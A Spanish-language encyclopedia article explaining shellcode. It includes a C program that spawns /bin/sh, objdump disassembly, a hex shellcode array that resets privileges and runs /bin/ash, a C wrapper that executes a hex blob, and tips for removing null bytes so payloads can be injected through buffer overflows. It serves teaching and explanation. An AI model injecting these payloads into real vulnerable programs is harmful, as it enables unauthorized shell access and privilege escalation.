- Shellcode
-
Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.
El término shellcode deriva de su propósito general, esto era una porción de un exploit utilizada para obtener una shell. Este es actualmente el propósito más común con que se utilizan. Para crear una shellcode generalmente suele utilizarse un lenguaje de más alto nivel, como es el caso del lenguaje C, para luego, al ser compilado, generar el código de máquina correspondiente, que es denominado opcode. Un ejemplo de una shellcode escrita en C:
#include <stdio.h> int main() { char *scode[2]; scode[0] = "/bin/sh"; scode[1] = NULL; execve (scode[0], scode, NULL); }
Esta shellcode, que ejecuta la shell /bin/sh, se vale de la llamada al sistema execve para realizar la ejecución de la shell contenida dentro del array scode. Si analizamos esto en lenguaje ensamblador el funcionamiento es simple: la llamada al sistema específica es cargada detro del registro EAX, los argumentos de la llamada al sistema son puestos en otros registros, se ejecuta la instrucción int 0x80 (que producirá la llamada al sistema) para la creación del proceso (pueder hacerse tanto con fork() como con system()), la CPU cambiará ahora al kernel mode (supervisor - ring 0), y la llamada al sistema será ejecutada para así devolver, en este caso, una shell /bin/sh. Si compilamos y ejecutamos esto, obtendremos:
$: gcc -static scode.c -o scode $: ./scode sh-3.2$
Para obtener el código máquina se desensambla el archivo ya compilado (binario). Pueden utilizarse diversas aplicaciones para esta tarea, entre ellas una de las más populares para sistemas del tipo Unix, es objdump.
$: objdump -d scode 080483a4 <main>: 80483a4: 55 push %ebp 80483a5: 89 e5 mov %esp,%ebp 80483a7: 83 e4 f0 and $0xfffffff0,%esp 80483aa: 83 ec 20 sub $0x20,%esp 80483ad: c7 44 24 18 a0 84 04 movl $0x80484a0,0x18(%esp) 80483b4: 08 80483b5: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp) 80483bc: 00 80483bd: 8b 44 24 18 mov 0x18(%esp),%eax 80483c1: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80483c8: 00 80483c9: 8d 54 24 18 lea 0x18(%esp),%edx 80483cd: 89 54 24 04 mov %edx,0x4(%esp) 80483d1: 89 04 24 mov %eax,(%esp) 80483d4: e8 ff fe ff ff call 80482d8 <execve@plt> 80483d9: c9 leave 80483da: c3 ret 80483db: 90 nop
En el siguiente ejemplo se muestra una shellcode contenida en un array de un programa escrito en lenguaje C:
char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x46" /* movl $0x46,%al */ "\xcd\x80" /* int $0x80 */ "\x50" /* pushl %eax */ "\x68""/ash" /* pushl $0x6873612f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ;
Así tenemos que una shellcode es código máquina escrito en notación hexadecimal. Posteriormente se utilizan dentro de programas escritos en C, como en el siguiente shellcode de ejemplo:
// shellcode.c // compilar con gcc shellcode.c -o shellcode void main() { ((void(*)(void)) { "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9" "\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff" "\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68" "\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e" "\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e" "\x63\x6c\x20\x3d\x29" } )(); }
Las shellcodes deben ser cortas para poder ser inyectadas dentro de la pila, que generalmente suele ser un espacio reducido.
Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades en el código llamadas desbordamiento de búfer. Principalmente el shellcode se programa para permitir ejecutar un intérprete de comandos en el equipo afectado.
Es común que en la compilación de una shellcode se produzcan bytes nulos, los cuales deben ser eliminados de la misma, ya que frenarían la ejecución de la shellcode. Para ello el programador se vale de diversas técnicas, como remplazar las instrucciones que genera bytes NULL por otras que no lo hagan o realizar una operación XOR, mover hacia registros más pequeños (como AH, AL), y de esta forma permitir que la shellcode sea realmente inyectable.
Véase también
Categorías:- Lenguajes de programación
- Hacking
- Problemas de seguridad informática
Wikimedia foundation. 2010.